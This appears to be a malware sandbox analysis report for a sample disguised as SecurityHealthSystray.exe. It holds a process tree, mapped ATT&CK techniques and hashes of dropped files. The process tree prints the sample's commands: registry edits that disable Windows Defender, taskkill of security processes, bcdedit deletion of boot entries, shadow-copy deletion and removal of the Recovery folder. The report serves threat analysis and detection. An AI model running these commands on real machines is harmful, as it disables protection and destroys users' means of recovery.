- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5392,i,18184882916693027812,17808581708914656018,524288 --field-trial-handle=2444,i,2412250968889577469,8597334979865973945,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:8
    3⤵
    PID:6028
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6504,i,10546987736658849902,7147412789501888571,524288 --field-trial-handle=2444,i,2412250968889577469,8597334979865973945,262144 --variations-seed-version --mojo-platform-channel-handle=5736 /prefetch:8
    3⤵
    PID:5624
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6504,i,10546987736658849902,7147412789501888571,524288 --field-trial-handle=2444,i,2412250968889577469,8597334979865973945,262144 --variations-seed-version --mojo-platform-channel-handle=5736 /prefetch:8
    3⤵
    PID:5360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v noTm /t reg_dword /d 1 /f
  2⤵
  PID:4856
- - C:\Windows\system32\reg.exe
    REG ADD hkcu\Software\Microsoft\Windows\CurrentVersion\policies\system /v noTm /t reg_dword /d 1 /f
    3⤵
    - Modifies registry key
    PID:4052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  PID:2336
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    PID:2544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\music67_final.html
  2⤵
  PID:2712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:5404
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:5528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:5512
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:2796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  2⤵
  PID:1532
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
    3⤵
    PID:6056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  2⤵
  PID:5536
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
    3⤵
    PID:292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:3696
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:3204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SystemSettings.exe 2>nul
  2⤵
  PID:3744
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im SystemSettings.exe
    3⤵
    - Kills process with taskkill
    PID:1424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:5280
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  PID:5780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:5544
- C:\Windows\system32\cmd.exe
  cmd.exe /c taskkill /f /im SecHealthUI.exe 2>nul
  2⤵
  PID:300

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2468

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4d0 0x324
1⤵
PID:2792

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:740

C:\Windows\explorer.exe
explorer.exe ,"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
1⤵
PID:5572

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
1⤵
PID:5836
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
  2⤵
  - Views/modifies file attributes
  PID:5908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  PID:5872
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:5832
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f
  2⤵
  PID:1744
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f
  2⤵
  PID:4988
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  PID:6032
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {memdiag} /f
  2⤵
  PID:760
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /delete {memdiag} /f
  2⤵
  PID:5668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  PID:5624
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  PID:5324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  PID:4260
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  PID:516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  PID:3728
- C:\Windows\system32\cmd.exe
  cmd.exe /c reagentc /disable
  2⤵
  PID:5576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  PID:5112
- C:\Windows\system32\cmd.exe
  cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  PID:5476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:3188
- C:\Windows\system32\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:5912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:5692
- C:\Windows\system32\cmd.exe
  cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:5864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:1244
- C:\Windows\system32\cmd.exe
  cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:5152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "%SystemDrive%\Recovery" 2>nul
  2⤵
  PID:1580
- C:\Windows\system32\cmd.exe
  cmd.exe /c rd /s /q "%SystemDrive%\Recovery" 2>nul
  2⤵
  PID:5712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  PID:6128

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:5928

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding
1⤵
PID:5664

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 7aa2bb81937fdcdafd5d33143cfe61093f5233469b36757de171e12cc0c6215f
MD5 6503f091cfa7258a2190ed65490b1bdd
SHA1 d722a7fd3cd82ec30e4846b9511ec1c22b9dacfd
SHA512 5f2a6a53348e4e1b7810b77abe2dd4c597357ba365cf029977f0efbbb203eab9dfb7771c9edb3561b6d22c8b7354c34611905cfbaab36c763b9d3334beb40b4c
TLSH
T1BAD012223A48F441DB4942709102CF453B26146024579A06E259D86D58B51D453D66C2
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 3eacdfce7dc5d437b4447cf27ab297d2d39d13a22d53487691f060212cddb6b2
MD5 77a76342e47369b91c295856d0d136ad
SHA1 bac334fe99bd25a56aeb5cf09b273fd394730180
SHA512 5594ac61907f341c5e00a7e62a64d33fde684c855aa9b27d0c2756986334fbea5ebaf894d13dfedefe84d1f7ad65aaa17fb6b204714ed08460f06e4ed17ce733
TLSH
T1AAD012223A48F441DB4942709103CF453B26146024579A06E259D86D58B41D453D66C2
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 e659e470d35eb31977e39358b198089b97ca656213312c59ead8385926f56e85
MD5 ca78746b1f16232a743feef859b1ef8a
SHA1 4d2c8f1539feb2ade5c0c2cc2302d6184f3e9fba
SHA512 549003c7c9476f007b5f05fa72a3514da2950d6faa7b12fa0211d8cd17a8ca59595a8b06f1d4e1bab2828f92b14cd78d00108fecdbe92599d9b6b0c05c256c07
TLSH
T18B71C20402AE05B2F3A20F72E9D00650B47183792E371DE732F6E87CF91EF22812948A
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe591c29.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe591c29.TMP
Size 3KB
SHA256 a838a8371ad796469db4680229c9a915ad05a36b0047f646e2ee941d051b2db0
MD5 61cf3dbf7a04d95bac214bc53a240c1a
SHA1 df2303fad94e57edee000688fccb3267578b14bd
SHA512 043f938f42942935b2bf19cd8776ce3f36393e0a3bc786e770024744ca7eda51e396bafc8ebfa69363411e5d00a2d69d2bb9e7525e57af103441fcf3e64d3a95
TLSH
T1E171B40402AE05B2F7A20F72E9D00651B47183796E775DE732F6E87DF91EF13512948A
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 10410553fa8c55bde17f2484880123dcf6ad8c1fc72849a4ef625cae4096f32c
MD5 02fa0ca3c68dda2143c39b01fa75818e
SHA1 01bccbbaab9d3cddf485ac37db5d9887baa7de53
SHA512 58543e882b8a26da1b95ee958de8532339dccf9b119c0ebac525c543880987f9c8d606edaf823cb0916e4a7643d7a06247cf5a8043279379766e4f0ee07cdb5c
SSDEEP 192:sxZpRayM/jK1Ml8Mj2/fFsNvdUkrfEdpdwHW6+WNGSoLncwIgyJ:sxZpc72/fFsNv3smHbGzO
TLSH
T1DE42FA16AA345977CCDBD21DF9517B53D6F90473E2900E849AFCCA1C00E6AED221781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 d6190a18ffcbed4b34f376e9100aa6f2ee60a19970ae3fc0251181c8c4442975
MD5 f47272dca0408bfb085ee8942f9cfd2c
SHA1 822b0457cf9f3f09762299ffd22701ca5f2bfb9a
SHA512 3918f228ab6cbc5680928f1f8d71e3cd70f3aa0bfdd6325e9bdf9d94f746192d9d6c1767d345e4d491b1b7b163383c41cc41a9df896b55cf2b68ddb915f5f086
SSDEEP 768:oys6pD1WvxzWj8F1+UoAYDCx9Tuqh0VfUC9xbog/OVEILlWwJNrrosC:oys6pD1WvxzWju1jahILIsNYsC
TLSH
T1D3D2FA3B680CCB7E4F841E5CAC2AAF967DD801CBAB98895447FA444C03C77EA512759B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 6b48118e0a5e88210a2e6263f0759ecf52b840fa06137eab4d5b5cf795f266a0
MD5 54f1a3395a24625f5076bb0fe96ad08c
SHA1 2c6b3b2944232db874641bc37935def9f120b848
SHA512 1c6901e6917edc6b685fa73669b0ea24dbdf030e8b1445ade7ca5431bc3772de94c0566abfaa3e0ecdd25fab8edb8e3161a3f2f85eda5fd3f376b09633c34953
SSDEEP 192:qONT6O7+3hQmiUyEY+Gttb0zO2bH3gGgxU6:qONT61fGt9yO+LAU6
TLSH
T19E02E8396C686CB75BF3AE45FA8727275FA9103BE9961F80D6E81E0C00D765C2347C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 11KB
SHA256 f563502ab1e5bf59dc67f7e9bb249badcd32ed215d7f582684fcccafaa478248
MD5 4b0a9a4e9dff917cf165940e2afc4fda
SHA1 9017fde357d16656882b400a8cb09e54820555b9
SHA512 14dbe6537e210d7c2928d776ac9d131d9661192d63314297a00f15766c1c751235816952ae344f03f27efdc4202d91ce7a2dbdad09417f6aedb1ee19d4f545cb
SSDEEP 192:z8ZIsNgJ6QpHm5197+3vvMQmiU1PAYJA8Uatb0zO2bHTQ+20cME/nDU8:z1sNgJ6uG5Q0ZjAHa9yO+TQ+28OU8
TLSH
T1E832073568789C3359E7A244F98B37939FB91077E9861F80D1E94F0C00DBB9C374A82A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 11KB
SHA256 b24914079f4aaddc65bbd7022c06dc6ed475fdc3f9dc085b3ec65e4cd7700206
MD5 88bc8e87446a13b757668a19e18594da
SHA1 9494c48976f1db74913411b562fb20b1053cb514
SHA512 bad8005b1d4c8228a3437ac075ec9424ef42632317876c3240b58db92859304d2267f4f6c68d0cd04f8119a663ef1a5373edd141a1426dda10cbc05bc89d63c5
SSDEEP 192:z8csNgJ6QpHm5197+3vvFQmiU1PAYJA8Batb0zO2bHTQ+2iLME/nDU8:zNsNgJ6uG5QbZjA2a9yO+TQ+2bOU8
TLSH
T12F32073568789C7359E3A144F98B37939FB91077E9861F80D5E98F0C00DBB9C374A81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 9KB
SHA256 bc44ac4118b7c283436ab42306888acb27d81d471cf977de51fbd2dbdadd0902
MD5 8ef76f905ea3e53163f0e4100ab88cfd
SHA1 cc2dca86e9e4fe7936ee7b6f371084bdbb4de1d9
SHA512 cd1ef03323f4563dd6d0f92b5c2bb586b1a5374f82ac61cf8e5bd935ad70f221921192246774fd47278c0189e56caa777ce6ce4611f8433338b6edbb8d642b23
SSDEEP 192:zuONg6O7+3vvQQmiU1RzYJwZatb0zO2bHTQ+21cME/nDU8:zuONg69I/Oqa9yO+TQ+27OU8
TLSH
T15122E739A8689C7359E7A144F98737A39FA91077ED866F80E5E84F0C00DB69C374A817
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 736d3ba6e655585d1b14531e9271a6b7770abedc21349c9d852e0b027c32f134
MD5 495c38f2e6049ab492be1995379c6471
SHA1 5e8d86e318bbc4899bdec529d4531a68580e48bd
SHA512 f759d8c0fc8b42bff2e8fcf09c4c0da224d2ba3266883adace946596b9010cfdc665d446665824c094d8f6f1d942a1251710763c8b0701ef9328c33cc9ee02ea
SSDEEP 192:qON56O7+3BQmiUybUY+dttb0zO2bHTQ+21cNE/nDU6:qON56FQQdt9yO+TQ+2iOU6
TLSH
T1D712F935A8689C731AE3B544F98727A79FA91077ED866F80E1E85F0C00DBB5C374AC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

67edf908-18e1-4ef6-8fb0-f2d49c217519.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\67edf908-18e1-4ef6-8fb0-f2d49c217519.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 c242ba0d2b0c2e00b3ca6a0ba5c1277d435d5d5869e8fc0d5522ec30f3887f20
MD5 480c910b889bfe5f0e51c38a8e3e7dc0
SHA1 9bff820a98bb5e4158937a8ab296864e20d7eeea
SHA512 ca2c9bb829c3042adf7ce126ced37bf1f73bd0ff66cdabe49107fd2672c743c6aa95b0cd65f7c371c80778d7b5d0b783c52f91d47aee96791c401359142e9f29
TLSH
T17441285CAAEA1149B3B76F565BF6B86D087B7D272E07D5AD00010E4F4A63B40C871B37
MD5 SHA1 SHA512 TLSH

Submit Download

music67.html

Path C:\Users\Admin\AppData\Local\Temp\music67.html
Size 804B
SHA256 a8563e153115f222e32c66c23b676fee29703389e6116e13f1997f6f02533592
MD5 4fe60278cc219422ac2ab680cfb1e4c7
SHA1 14cdd6721bec029bf4e83df37a92f12a4cb0be25
SHA512 49622692dcf1e066333f8423a1e9b80824a42102753e559bd406bc0719ee854c6cd3ca8463a23ad54e1d26555874c00f6d04a3b490ff02121da64e1aa68636c3
TLSH
T1C70189137025BC81C6B2B77237B36088657BB3121A825780B452C2A31F23A85AD59ECC
MD5 SHA1 SHA512 TLSH

Submit Download

music67_final.html

Path C:\Users\Admin\AppData\Local\Temp\music67_final.html
Size 775B
SHA256 4daec786120ca1737865a4f2a8185a0c67d98fe9ff51a78a7f3d1fb43dc0729e
MD5 c23f9748f5abb56a76a1d06625bbf128
SHA1 15fb7a64e9f18f26c1381bb640025aa61547a0bf
SHA512 7832cfc20022034836d3aad8f7bafa585d6efc166f666f288061f935da20c74ed4c7fea4099136622eaa2590e8b62df10016e6418bbf187a64b2568cd2946783
TLSH
T1B30190177024BC4186B2F7B23673A14C9577B3161BC74781B466C1A31F236955D56ECC
MD5 SHA1 SHA512 TLSH

Submit Download

SecurityHealthSystray.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
Size 667KB
SHA256 f48579841861251aba18b0435161cf47fb8562795e95b3260f00783995b7a89d
MD5 2c8984791654131150a122e28c61e83a
SHA1 81eea917a7f5e27de1b8e29710f94737c2a21039
SHA512 78e29afa9e3c78ecdc1a8f35baf071a85e41811826533d7a31375cd83f196feb2e16e17da1fac98c55730a86bd5dd2abb225dedd4a67099fdc042466a0f88439
SSDEEP 6144:VHC8wQEYBqUvqAFUWje6DTprqdQk+Pbahqu3NUYslUvRM/TaRth86cEcm:c9YRvq9Wjrn5sQ72B3nslLGth83EH
TLSH
T1B2E4087AF71219ADC05F437B85A587E195902685F334A6B702B48E537AE34C24F3AFC2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

67 (5).txt

Path C:\Users\Admin\Desktop\67 (5).txt
Size 836B
SHA256 f1b6000852a821908a8aeea5eafbc2433a3ed98607f3e15a54a81564506003dd
MD5 e2f78180809f1ac78214c780162de947
SHA1 aaade959f0034c6905ff98cf69e8e874b95bf692
SHA512 c6f50c3c4d7b474cd5656da073e04bf995fd0185b7e07f006e65193b7449be1171d8e568b22d49a2d18123c13066664c8ae5ade40e713a55607a623290a1f636
TLSH
T1DB0102F208B4022A8B2038A00D8BCEE1A3230CC2C0C3100AD3AE023C2F3DB108B0E2C2
MD5 SHA1 SHA512 TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 2KB
SHA256 0f291feed690ff33750a0331d8e808504aa321d87b500e3bed1ff3e54111e8dc
MD5 59780519baa8d78e1b99f080a798b562
SHA1 b5d83a3ffda2886966a74f3de76ff7e4e499a1c4
SHA512 6f1a41722816495dc6df3c9a7b7c104bdc259c64d97768b9472aeeb1752bb984a13d5beb2202b7499c7d6ce70b4617bae214977519ce1a5b4f70f373b58ab681
TLSH
T10741E1360DB241369906D910F7511EAFDE0372631B6D7650357FA9C87F03329AAECE88
MD5 SHA1 SHA512 TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 11KB
SHA256 b65139b0385c7238871a18343afca708cc18e73afd0f46d55b7f3a6a21ea51a5
MD5 f7eec42441e6819aa180b6bdbd73a2af
SHA1 48c436e5184ef5e7bc111736e5524a8784475711
SHA512 577485e7105fd14e8ff4bce2fd181dd7c0df506a20e48115e18864dff11997c06445f4ce38a4f2564961d80bd95dc4a6e1c0956893891965fbeb2c781c65c952
SSDEEP 96:5MwiGdgbneLHMwiGdgbneLHMwiGdgbnYMwiGdgbneLHMwiGdgbnHgMHMwiGdgbnt:53gbq3gbq3gbY3gbq3gbHP3gbt
TLSH
T105328229B1A92EBB5C9446F8DFD038C26F8097794106A03795C4FDAFB279042F5B17CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 13KB
SHA256 ff7941e9070e59355b82ae19d700f2adb45b422123dc53ff6b54242c3d5bf179
MD5 94d2a5d7245afc152ff935227e7de546
SHA1 d6f88d065d852424de51112c80800dd88c9ebafa
SHA512 a313ab803786350b3705b9e9fdb549d2d9e0e1d017ea086879ae54b390e2bff6544cea9f95794adcf1472ebbfac91e671c50d62bc6723fe58998a4bab970d281
SSDEEP 192:53gbq3gbE7coyrG3gbY3gbq3gbEtZ3gbt:53Iq3IScy3IY3Iq3I03It
TLSH
T1C352E539B1A42EBB5C9046F8DFD038C26F8097794116A03795C4FDAFA279042F9B17DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

setuperr.log

Path C:\Windows\Panther\UnattendGC\setuperr.log
Size 98B
SHA256 b4f007662330e1ca002d00c22d3ae91bfe057fcadd1d5c6d92dc78f91d631167
MD5 6ff53af980aa3224180c258ef8347174
SHA1 ba4256e41c87b59e94af391eebd8321de174c3b8
